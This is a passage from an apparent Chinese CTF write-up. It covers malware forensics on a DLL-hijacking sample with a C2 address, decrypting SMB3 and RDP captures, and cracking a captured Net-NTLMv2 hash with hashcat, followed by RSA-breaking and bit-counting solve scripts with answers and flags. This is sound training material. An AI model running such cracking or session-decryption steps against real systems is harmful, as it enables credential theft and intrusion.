    chr(114), chr(int("0x79", 16)), chr(91), "@", chr(int("78")),
    chr(int("97")), chr(0x6d), chr(0x65), chr(int("0x3d", 16)),
    chr(3877-3838), chr(int("67")), chr(0x4f), chr(78), chr(83),
    chr(79), chr(int("0x4c", 16)), chr(int("69")), chr(419-324), "M",
    chr(int("0x45", 16)), chr(int("78")), "U", chr(int("39")), chr(int("0x5d", 16))
]

chars2 = [
    chr(0x2f), chr(-1536 + 1613), chr(4928 // 64), chr(67), chr(345 - 250),
    chr(int("67")), chr(111), "n", chr(0x73), chr(int("0x6f", 16)),
    chr(0x6c), chr(int("101")), chr(145110 // 2073), chr(0x69),
    chr(108), chr(int("101")), chr(int("0x2f", 16)), chr(66),
    chr(0x69), chr(1514 - 1404), chr(int("97")), chr(int("0x72", 16)),
    chr(int("121")), chr(83), chr(212744 // 1834), chr(0x6f),
    chr(int("114")), chr(int("97")), chr(0x67), chr(-749 + 850),
    chr(-3015 + 3062), chr(int("0x42", 16)), "i", chr(0x6e),
    chr(int("0x61", 16)), chr(114), chr(int("0x79", 16)),
    chr(int("91")), chr(0x40), chr(int("0x4e", 16)), chr(0x61),
    chr(109), chr(101), chr(0x3d), chr(-548 + 587), chr(67),
    chr(int("0x4f", 16)), chr(3379 - 3301), "S", "O",
    chr(-1145 + 1221), chr(int("0x45", 16)), "_", chr(-626 + 706),
    chr(int("65")), chr(78), "E", chr(39), chr(int("93"))
]

# Join characters into a single string
decoded_string = ''.join(chars1)

print(decoded_string)

decoded_string2 = ''.join(chars2)

print(decoded_string2)

最终的答案是

/MMC_ConsoleFile/BinaryStorage/Binary[@Name='CONSOLE_MENU']
69b23cfd967d07c39d1517e2a3c37e34

Q7:攻击者使用的这个白EXE加载黑DLL的手法所对应的MITRE ATT&CK ID是什么? (注意:请注意示例的提示提交大类即可不需要细化到分项) 示例: T1000

image-20241103223954456

被AI秒了

T1574

Q8:攻击者所使用的黑DLL劫持了原始DLL的哪个函数? 示例: main

用微步确认一下得到libcurl.dll是黑dll,然后将导入的相关函数挨个尝试,得到是curl_easy_init

image-20241103224004871

curl_easy_init

Q9:攻击者所使用的黑DLL解密下一阶段载荷所使用的算法是什么?

上一步借助答案锁定了关键函数,然后习惯性先尝试一下常见算法名称(AES,DES,RC4这些都试了一遍),直接就出了

rc4

Q10:攻击者所使用的下一阶段载荷的回连C2是什么? (注意:需要提供ip地址:端口的形式) 示例:127.0.0.1:5100

image-20241103224021588

192.168.57.119:6000

Q11:攻击者所使用最终阶段载荷所使用的加密算法是什么? 示例:DES

仿照上面那个继续猜算法,得到AES

AES

Q12

提示给了第12问的最终载荷指得是RAT的载荷 java的马和本题目毫无关系​ 于是在流量的TCP1中发现访问了*.bin​并且很大,下下来发现存在混淆,猜测被donut混淆过用该工具进行解混淆

https://github.com/volexity/donut-decryptor
donut-decryptor qq1.bin --debug

image-20241103224036762

然后在mod*.bin​中去找秘钥 全局搜索关键字key​找到下图位置发现秘钥加密成MD5得到答案

image-20241103224045978

Q13

没怎么具体看流量了,直接从Github上的C2爆破得到答案为OrcaC2

image-20241103224053689

最终得到flag

image-20241103224102361

欢迎来到Master of DFIR - 🎣 ,我们需要帮助你调查以下任务.并且提交这些任务的正确答案,我们将会给你flag🤔
需要输入Team Token即可开始
Team token > icq9ea0882e808fb4a89bc7159d3901f
(1/13) 攻击者的邮箱是什么? (注意:MD5(攻击者邮箱),以cyberchef的为准) 示例:9b04d152845ec0a378394003c96da594
请输入你的答案 > a8cd5b4ba47e185d4a69a583fde84da5
正确✅!
(2/13) 攻击者所投放的文件md5是什么? (注意:以md5sum的结果为准) 示例:33ec9f546665aec46947dca16646d48e
请输入你的答案 > f436b02020fa59f3f71e0b6dcac6c7d3
正确✅!
(3/13) 攻击者所使用的攻击载荷后缀是什么? 示例:lnk
请输入你的答案 > msc
正确✅!
(4/13) 攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行? 示例:20
请输入你的答案 > 97
正确✅!
(5/13) 经过初始执行后,攻击者所加载的第二部分载荷所使用的语言是什么? 示例:javascript
请输入你的答案 > vbscript
正确✅!
(6/13) 攻击者所进行的第二部分载荷其将白EXE存在了什么地方? (注意:需要提供完成的解混淆后的第二部分载荷s*******s函数的参数) 提交需要MD5(参数内容) 以Cyberchef结果为准 示例:9b04d152845ec0a378394003c96da594
请输入你的答案 > 69b23cfd967d07c39d1517e2a3c37e34
正确✅!
(7/13) 攻击者使用的这个白EXE加载黑DLL的手法所对应的MITRE ATT&CK ID是什么? (注意:请注意示例的提示提交大类即可不需要细化到分项) 示例: T1000
请输入你的答案 > T1574
正确✅!
(8/13) 攻击者所使用的黑DLL劫持了原始DLL的哪个函数? 示例: main
请输入你的答案 > curl_easy_init
正确✅!
(9/13) 攻击者所使用的黑DLL解密下一阶段载荷所使用的算法是什么? 示例:chacha20
请输入你的答案 > rc4
正确✅!
(10/13) 攻击者所使用的下一阶段载荷的回连C2是什么? (注意:需要提供ip地址:端口的形式) 示例:127.0.0.1:5100
请输入你的答案 > 192.168.57.119:6000
正确✅!
(11/13) 攻击者所使用最终阶段载荷所使用的加密算法是什么? 示例:DES
请输入你的答案 > AES
正确✅!
(12/13) 攻击者所使用最终阶段载荷所使用的密钥的MD5是什么? (注意:MD5(密钥内容),以cyberchef的为准) 示例:9b04d152845ec0a378394003c96da594
请输入你的答案 > a524c43df3063c33cfd72e2bf1fd32f6
正确✅!
(13/13) 攻击者使用了什么家族的C2? 示例:PoshC2
请输入你的答案 > OrcaC2
正确✅!
恭喜你完成了所有任务,这是你的flag 🚩 -->  flag{a047d3d1864b70518f7666e5231859f5}

谍影重重5.0

先协议分析判断下大概协议

image-20241103224147819

发现SMB3协议的内容被加密了,并且后续存在RDP的流量,猜测为先解密SMB再进行RDP解密

参考文章得到 Net-NTML Hash

https://blog.csdn.net/qq_30464257/article/details/142205308
Frame 122: 675 bytes on wire (5400 bits), 675 bytes captured (5400 bits) on interface \Device\NPF_{1F409780-E54B-4B19-998E-62AB3F53994C}, id 0
    Section number: 1
    Interface id: 0 (\Device\NPF_{1F409780-E54B-4B19-998E-62AB3F53994C})
    Encapsulation type: Ethernet (1)
    Arrival Time: Oct 30, 2024 18:47:32.269050000 CST
    UTC Arrival Time: Oct 30, 2024 10:47:32.269050000 UTC
    Epoch Arrival Time: 1730285252.269050000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.000606000 seconds]
    [Time delta from previous displayed frame: 0.000606000 seconds]
    [Time since reference or first frame: 31.691734000 seconds]
    Frame Number: 122
    Frame Length: 675 bytes (5400 bits)
    Capture Length: 675 bytes (5400 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp:nbss:smb2:gss-api:spnego:ntlmssp:ntlmssp]
    [Coloring Rule Name: SMB]
    [Coloring Rule String: smb || nbss || nbns || netbios]
Ethernet II, Src: VMware_c0:00:08 (00:50:56:c0:00:08), Dst: VMware_67:dc:36 (00:0c:29:67:dc:36)
Internet Protocol Version 4, Src: 172.16.105.1, Dst: 172.16.105.129
Transmission Control Protocol, Src Port: 50672, Dst Port: 445, Seq: 536, Ack: 1336, Len: 621
NetBIOS Session Service
SMB2 (Server Message Block Protocol version 2)
    SMB2 Header
        ProtocolId: 0xfe534d42
        Header Length: 64
        Credit Charge: 1
        Channel Sequence: 0
        Reserved: 0000
        Command: Session Setup (1)
        Credits requested: 33
        Flags: 0x00000010, Priority
        Chain Offset: 0x00000000
        Message ID: 3
        Process Id: 0x0000feff
        Tree Id: 0x00000000
        Session Id: 0x0000100000000009 Acct:tom Domain:. Host:DESKTOP-KR221HK
            [Account: tom]
            [Domain: .]
            [Host: DESKTOP-KR221HK]
            [Authenticated in Frame: 123]
        Signature: 00000000000000000000000000000000
        [Response in: 123]
    Session Setup Request (0x01)
        [Preauth Hash: 73f50d252dd493c7ec0c858ffbeaaf9bdeeece03e04ec93a388ae5bc79808aeba84b1427367db697269df7855b0aab152eb4645769ccb92cebfb9b8197df183c]
        StructureSize: 0x0019
        Flags: 0
        Security mode: 0x02, Signing required
        Capabilities: 0x00000001, DFS
        Channel: None (0x00000000)
        Previous Session Id: 0x0000000000000000
        Blob Offset: 0x00000058
        Blob Length: 529
        Security Blob [truncated]: a182020d30820209a0030a0101a28201ec048201e84e544c4d5353500003000000180018007e00000042014201960000000200020058000000060006005a0000001e001e006000000010001000d8010000158288e20a00f4650000000f07fa9603bc87f0871753e4a786
            GSS-API Generic Security Service Application Program Interface
                Simple Protected Negotiation
                    negTokenTarg
                        negResult: accept-incomplete (1)
                        responseToken [truncated]: 4e544c4d5353500003000000180018007e00000042014201960000000200020058000000060006005a0000001e001e006000000010001000d8010000158288e20a00f4650000000f07fa9603bc87f0871753e4a7862edf4b2e0074006f006d004400450053004b005400
                        NTLM Secure Service Provider
                            NTLMSSP identifier: NTLMSSP
                            NTLM Message Type: NTLMSSP_AUTH (0x00000003)
                            Lan Manager Response: 000000000000000000000000000000000000000000000000
                                Length: 24
                                Maxlen: 24
                                Offset: 126
                            LMv2 Client Challenge: 0000000000000000
                            NTLM Response [truncated]: ca32f9b5b48c04ccfa96f35213d63d75010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a00300045004500
                                Length: 322
                                Maxlen: 322
                                Offset: 150
                                NTLMv2 Response [truncated]: ca32f9b5b48c04ccfa96f35213d63d75010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a003000450045
                            Domain name: .
                                Length: 2
                                Maxlen: 2
                                Offset: 88
                            User name: tom
                                Length: 6
                                Maxlen: 6
                                Offset: 90
                            Host name: DESKTOP-KR221HK
                                Length: 30
                                Maxlen: 30
                                Offset: 96
                            Session Key: 5643a37f253b00b2f52df1afd48c1514
                                Length: 16
                                Maxlen: 16
                                Offset: 472
                             [truncated]Negotiate Flags: 0xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended Session Security, Negotiate Always Sign, Negotiate NTLM key, Negotiate Sign, Request
                            Version 10.0 (Build 26100); NTLM Current Revision 15
                            MIC: 07fa9603bc87f0871753e4a7862edf4b
                        mechListMIC: 010000003fd48667772ffe0700000000
                        NTLMSSP Verifier
                            Version Number: 1
                            Verifier Body: 3fd48667772ffe0700000000

后续找到这篇文章使用tshark直接梭出完整的

https://malwarelab.eu/posts/tryhackme-smb-decryption/#smb-traffic-decryption-with-the-password

image-20241103224202651

得到Net-NTLMhash后可进行爆破获取密码

hashcat -m 5600 tom::.:c1dec53240124487:ca32f9b5b48c04ccfa96f35213d63d75:010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000 /Users/zjacky/Desktop/渗透/Dicts/rockyou.txt --force --show

image-20241103224211144

得到密码 babygirl233​,发现跟上述文章很像,跟着上述文章继续做,通过协议NTLMSSP中加入密码来解SMB3的流量

image-20241103224220387

image-20241103224227834

解密后直接导出SMB对象得到一些文件,发现了证书和flag.7z

image-20241103224240650

提示了下是本地RDP的证书,搜索了下参考文章将证书进行解密

参考

https://github.com/GoSecure/pyrdp/tree/main/docs
https://www.haxor.no/en/article/analyzing-captured-rdp-sessions

将证书通过密码mimikatz​解密后将TLS解密,解密后进行PDU导出,得到一份新的pcap流量,然后通过

pyrdp-convert -o output qwe.pcap

转换为pyrdp可读的文件,然后加载pyrdp的GUI来看RDP的操作,发现在下述找到提示

image-20241103224250124

<Return pressed>
<Return released>the
<Shift pressed>
<Shift released>
<Space pressed>
<Space released>7z
<Space pressed>
<Space released>password
<Space pressed>
<Space released>is
<Space pressed>
<Space released>f'
<Shift pressed>{
<Shift released>windows
<Shift pressed>_
<Shift released>password
<Shift pressed>}
<Shift released>9347013182'
<Control pressed>s
<Control released>

# the 7z password is f'{windows_password}9347013182'

拼起来后猜测这里的windows_password​就是Tom的密码,于是替换Tom的密码后拼接为babygirl2339347013182​成功解压出flag.txt

CRYPTO

EasyRSA

#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2

class RSAEncryptor:
    def __init__(self):
        self.g = self.a = self.b = 0
        self.e = 65537
        self.factorGen()
        self.product()

    def factorGen(self):
        while True:
            self.g = getPrime(500)
            while not gmpy2.is_prime(2*self.g*self.a+1):
                self.a = random.randint(2**523, 2**524)
            while not gmpy2.is_prime(2*self.g*self.b+1):
                self.b = random.randint(2**523, 2**524)
            self.h = 2*self.g*self.a*self.b+self.a+self.b
            if gmpy2.is_prime(self.h):
                self.N = 2*self.h*self.g+1
                print(len(bin(self.N)))
                return

    def encrypt(self, msg):
        return gmpy2.powmod(msg, self.e, self.N)


    def product(self):
        with open('/flag', 'rb') as f:
            self.flag = f.read()
        self.enc = self.encrypt(self.flag)
        self.show()
        print(f'enc={self.enc}')

    def show(self):
        print(f"N={self.N}")
        print(f"e={self.e}")
        print(f"g={self.g}")


RSAEncryptor()

看到题目些许眼熟,突然想到之前翻过的一篇文章

https://hasegawaazusa.github.io/common-prime-rsa.html#%E7%94%9F%E6%88%90%E7%AE%97%E6%B3%95

是一个玩意,然后根据这个又找了找文章发现了原题

https://f61d.github.io/crypto/RSA/huwangbei2019_Crypto1/

只能说近乎一样了,只是这个直接生成的是self.N = 2*self.h*self.g+1,其实这个也就是p = 2*g*a+1,q = 2*g*b+1相乘得到的结果,然后直接把py2改成py3代码直接开始跑,跑了五十二分钟出了

from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert, div

# 给定的 N, e, g, C
N=51657999756690967186588996215664168497370486139760099988595414828727983779546605719940804807600702982441420573278857358283956576117953922473066432017592495133706729760422222891652753765512676564676681283098394548913387209196150332971723414216557817623554405430820579740222241707060798484488162959906554151628826649645549857376389514235605383200948637393805620922357497559575721372378043647085586958646623616279499301953828119839759155713210540465295077855783065483067730429116459612106943556564234959652876183429793248281482188133483319276230212777676735792371318110006476193874307484991785161682554109354412732317203
e=65537
g=2485123610764374014270789237614946556941781726543303674175119390795018685478874519905795106078406823435536131288458566170115665041363495335269709135811
C=28202679072153296346006816417382124529937666704182542518065303275976321831906094232804772404923511250416941784829263735008621187061575092462163699748934506898476841195128781938795842168820103035149075505083142014293446685272596151227631135157118425271040826931331389205822851376453576019854472679252746859939324841698162300853121273468883875556566200571290316887270568728688434714111270070758059040093516226853074913178501938759026695823416142154992551841347420935341846204890649806890263435571918894890106600252801255493750546432442678011345166162953964688073884233888980485821317850868322223277612229644994478304841
# 计算 h, u, v
h = (N - 1) // g
u = h // g
v = h % g

def Solve_c():
    # 计算 C 的估计值
    sqrt_N = iroot(N, 2)[0]
    C = div(sqrt_N, g ** 2)
    C=int(C)

    a = 2
    b = powmod(a, g, N)

    # 在估计的范围内尝试寻找合适的 r 和 s
    for i in range(2, int(C)):
        print(iroot(C, 2)[0])
        D = (iroot(C, 2)[0] + 1) * i
        final = powmod(b, u, N)
        for r in range(D):
            for s in range(D):
                print(r * D + s)
                if powmod(b, r * D + s, N) == final:
                    print("r =", r, "s =", s, "i =", i)
                    return r * D + s

# 解密流程
c = Solve_c()
print("c:", c)  # c = 51589121
A = u - c
B = v + c * g

# 计算 delta 并解出 x 和 y
delta = iroot(B ** 2 - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2

# 计算 a 和 b
a = x // 2
b = y // 2

# 计算 p 和 q
p = 2 * g * a + 1
q = 2 * g * b + 1

# 计算私钥 d 并解密消息
d = invert(e, (p - 1) * (q - 1))
m = powmod(C, d, N)
print("Decrypted message:", long_to_bytes(m))

apbq

from Crypto.Util.number import *
from secrets import flag
from math import ceil
import sys

class RSA():
    def __init__(self, privatekey, publickey):
        self.p, self.q, self.d = privatekey
        self.n, self.e = publickey

    def encrypt(self, plaintext):
        if isinstance(plaintext, bytes):
            plaintext = bytes_to_long(plaintext)
        ciphertext = pow(plaintext, self.e, self.n)
        return ciphertext

    def decrypt(self, ciphertext):
        if isinstance(ciphertext, bytes):
            ciphertext = bytes_to_long(ciphertext)
        plaintext = pow(ciphertext, self.d, self.n)
        return plaintext

def get_keypair(nbits, e = 65537):
    p = getPrime(nbits//2)
    q = getPrime(nbits//2)
    n = p * q
    d = inverse(e, n - p - q + 1)
    return (p, q, d), (n, e)

if __name__ == '__main__':
    pt = './output.txt'
    fout = open(pt, 'w')
    sys.stdout = fout

    block_size = ceil(len(flag)/3)
    flag = [flag[i:i+block_size] for i in range(0, len(flag), block_size)]
    e = 65537

    print(f'[+] Welcome to my apbq game')
    # stage 1
    print(f'┃ stage 1: p + q')
    prikey1, pubkey1 = get_keypair(1024)
    RSA1 = RSA(prikey1, pubkey1)
    enc1 = RSA1.encrypt(flag[0])
    print(f'┃ hints = {prikey1[0] + prikey1[1]}')
    print(f'┃ public key = {pubkey1}')
    print(f'┃ enc1 = {enc1}')
    print(f'----------------------')

    # stage 2
    print(f'┃ stage 2: ai*p + bi*q')
    prikey2, pubkey2 = get_keypair(1024)
    RSA2 = RSA(prikey2, pubkey2)
    enc2 = RSA2.encrypt(flag[1])
    kbits = 180
    a = [getRandomNBitInteger(kbits) for i in range(100)]
    b = [getRandomNBitInteger(kbits) for i in range(100)]
    c = [a[i]*prikey2[0] + b[i]*prikey2[1] for i in range(100)]
    print(f'┃ hints = {c}')
    print(f'┃ public key = {pubkey2}')
    print(f'┃ enc2 = {enc2}')
    print(f'----------------------')

    # stage 3
    print(f'┃ stage 3: a*p + q, p + bq')
    prikey3, pubkey3 = get_keypair(1024)
    RSA3 = RSA(prikey3, pubkey3)
    enc3 = RSA2.encrypt(flag[2])
    kbits = 512
    a = getRandomNBitInteger(kbits)
    b = getRandomNBitInteger(kbits)
    c1 = a*prikey3[0] + prikey3[1]
    c2 = prikey3[0] + b*prikey3[1] 
    print(f'┃ hints = {c1, c2}')
    print(f'┃ public key = {pubkey3}')
    print(f'┃ enc3 = {enc3}')

题目分为了三步,第一步是给你p+q的值,第二步是给你ap+bq的值,第三步是给你ap+q,p+bq的值让我们逐步分析

首先第一步p+q

很简单列一个p+q和pq的方程直接接出来

from Cryptodome.Util.number import *
from sympy import *
hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
a=pow(hints,2)
n1=89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589
e=65537
enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247


p,q=symbols('p q')
s1=Eq(p+q,hints)
s2=Eq(p*q,n1)
s=solve([s1,s2],[p,q])
print(s)
p=int(s[0][0])
q=int(s[0][1])
d=inverse(e,(p-1)*(q-1))
m=long_to_bytes(pow(enc1,d,n1))
print(m)

asdflkhlkh12lkh12kl1

看第二步,ap+bq

这个之前真没接触过,然后我在谷歌翻了翻找到了原题,DownUnder2023的apbq-rsa-ii,但是你会发现这道题他三个数据是不够的,所以我们使用四个数据就可以得到结果了,然后还找到了maple当时的题解

https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/crypto/apbq-rsa-ii/solve/solv.sage

https://blog.maple3142.net/2023/09/03/downunderctf-2023-writeups/#apbq-rsa-ii

import itertools
from Crypto.Util.number import long_to_bytes
n = 73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
c = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755

hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567]


V = hints
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]
print(B)

for s, t in itertools.product(range(4), repeat=2):
    T = s*B[0] + t*B[1]
    print(T)
    a1, a2, a3,a4 = T
    kq = gcd(a1 * hints[1] - a2 * hints[0], n)
    print(kq)
    if 1 < kq < n:
        print('find!', kq, s, t)
        break
for i in range(2**16, 1, -1):
    if kq % i == 0:
        kq //= i
q = int(kq)
print(q)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
flag = long_to_bytes(int(m))
print(flag)

adsfhulaisdhfliasd

接下来就是最nt的第三步,我也不知道是出题人写错了,还是他为了降低题目难度,你仔细审题会发现,在这里他用的是生成的RSA2这个公钥系统,而不是用的三,勾吧我没注意到直接取解关于ap+q,p+bq,然后在网上找到了一个原题,

https://github.com/defund/ctf/blob/master/angstromctf-2024/blahaj/solve.sage

from Crypto.Util.number import *
hints = (68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037, 117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752)
n=94789409892878223843496496113047481402435455468813255092840207010463661854593919772268992045955100688692872116996741724352837555794276141314552518390800907711192442516993891316013640874154318671978150702691578926912235318405120588096104222702992868492960182477857526176600665556671704106974346372234964363581

c = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
x=hints[0]
y=hints[1]

e = 65537

R = Integers(n)

P.<a, b, p, q> = PolynomialRing(Integers(n))

f1 = a*p + q

f2 = p + b*q

f3 = p*q

I = Ideal([f1 - x, f2 - y, f3 - n])
B = I.groebner_basis()

print(B)

g = B[-1]

z = ZZ(g.coefficient({q: 1}))
assert g.constant_coefficient() == R(-y)

_, (z1, _), (z2, _) = list(g)
z1 = ZZ(z1)
z2 = ZZ(z2)

S = 2^512

for p_upper_bits in range(16):
    p_upper = p_upper_bits << 510
    for q_upper_bits in range(16):
        q_upper = q_upper_bits << 510
        M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]])
        B = M.LLL()
        for b in B:
            if b[-1] == S:
                if b[1] < 0:
                    b *= -1
                p_guess = b[1] + p_upper
                q_guess = b[2] + q_upper
                print(p_guess)

                if p_guess * q_guess == n:
                    print(666)
                    print(p_guess)
                    print(q_guess)
                    d = pow(e, -1, (p_guess - 1)*(q_guess - 1))
                    message = int(pow(c, d, n))
                    message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big')
                    print(message_bytes)


                    exit()

然后呢你要是真用的这个我觉得算是预期解法解这个你最后虽然pq什么的都对了但是你还是错的因为你压根用的不是这个加密的

8y3198719087320912ads

然后我突然发现用的rsa2,勾吧做出来的时候真在骂人,浪费我两个点题目从20多解到了六十多解,我懒得再写,我直接贴把3的数据放到2的exp里面的脚本

import itertools
from Crypto.Util.number import long_to_bytes
n = 73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
c = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755

hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567]


V = hints
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]
print(B)

for s, t in itertools.product(range(4), repeat=2):
    T = s*B[0] + t*B[1]
    print(T)
    a1, a2, a3,a4 = T
    kq = gcd(a1 * hints[1] - a2 * hints[0], n)
    print(kq)
    if 1 < kq < n:
        print('find!', kq, s, t)
        break
for i in range(2**16, 1, -1):
    if kq % i == 0:
        kq //= i
q = int(kq)
print(q)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
flag = long_to_bytes(int(m))
print(flag)

1uoyo1p23uophasiupdyfapiy

21_steps

import re
import random
from secrets import flag
print(f'Can you weight a 128 bits number in 21 steps')
pattern = r'([AB]|\d+)=([AB]|\d+)(\+|\-|\*|//|<<|>>|&|\^|%)([AB]|\d+)'

command = input().strip()
assert command[-1] == ';'
assert all([re.fullmatch(pattern, i) for i in command[:-1].split(';')])

step = 21
for i in command[:-1].split(';'):
    t = i.translate(str.maketrans('', '', '=AB0123456789'))
    if t in ['>>', '<<', '+', '-', '&', '^']:
        step -= 1
    elif t in ['*', '/', '%']:
        step -= 3
if step < 0:exit()

success = 0
w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
for _ in range(100):
    A = random.randrange(0, 2**128)
    wa = w(A)
    B = 0
    try : exec("global A; global B;" + command)
    except : exit()
    if A == wa:
        success += 1

if success == 100:
    print(flag)

看到题目分析下步骤,他对于步的判定就是这个函数

step = 21
for i in command[:-1].split(';'):
    t = i.translate(str.maketrans('', '', '=AB0123456789'))
    if t in ['>>', '<<', '+', '-', '&', '^']:
        step -= 1
    elif t in ['*', '/', '%']:
        step -= 3
if step < 0:exit()

我们要在21步内使得我们最后得到的结果要是我们生成的128bit位随机数的权重,我先问了一下gpt

2329472398472097y41s

然后我根据gpt给的思路我自己测一下数据,发现gpt的是可以的不过步数超了

w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
A=307841650595242525000004472218706432542
print(w(A))
# Step 1: 将相邻的 2 位累加
A = (A & 0x55555555555555555555555555555555) + ((A >> 1) & 0x55555555555555555555555555555555)
print(bin(A))
# Step 2: 将相邻的 4 位累加
A = (A & 0x33333333333333333333333333333333) + ((A >> 2) & 0x33333333333333333333333333333333)
print(bin(A))
# Step 3: 将相邻的 8 位累加
A = (A & 0x0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F) + ((A >> 4) & 0x0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F)
print(bin(A))
# Step 4: 将相邻的 16 位累加
A = (A & 0x00FF00FF00FF00FF00FF00FF00FF00FF) + ((A >> 8) & 0x00FF00FF00FF00FF00FF00FF00FF00FF)
print(bin(A))
# Step 5: 将相邻的 32 位累加
A = (A & 0x0000FFFF0000FFFF0000FFFF0000FFFF) + ((A >> 16) & 0x0000FFFF0000FFFF0000FFFF0000FFFF)
print(bin(A))
# Step 6: 将相邻的 64 位累加
A = (A & 0x00000000FFFFFFFF00000000FFFFFFFF) + ((A >> 32) & 0x00000000FFFFFFFF00000000FFFFFFFF)
print(bin(A))
# Step 7: 将所有 128 位累加
A = (A & 0x0000000000000000FFFFFFFFFFFFFFFF) + ((A >> 64) & 0x0000000000000000FFFFFFFFFFFFFFFF)
print(bin(A))
print(A)

33249823894719807239081273

因为我们的操作做是不断地将1向后移动,然后仔细观察下面的数据,然后因为我观察到后面其实都是按位与,越往后面的话在掩码末尾的1会越来越多,所以我尝试将后面的按位与逐步去掉发现只需要相加我们就可以在末六位的到我们的权值,修改过后发现确实没问题

41231290371902-3712

那我们可以逐步的减少按位与最后得到21步可以完成操作

w = lambda x: sum([int(i) for i in list(bin(x)[2:])])
A=307841650595242525000004472218706432542
print(w(A))
# Step 1: 将相邻的 2 位累加
A = (A & 0x55555555555555555555555555555555) + ((A >> 1) & 0x55555555555555555555555555555555)
print(bin(A))
# Step 2: 将相邻的 4 位累加
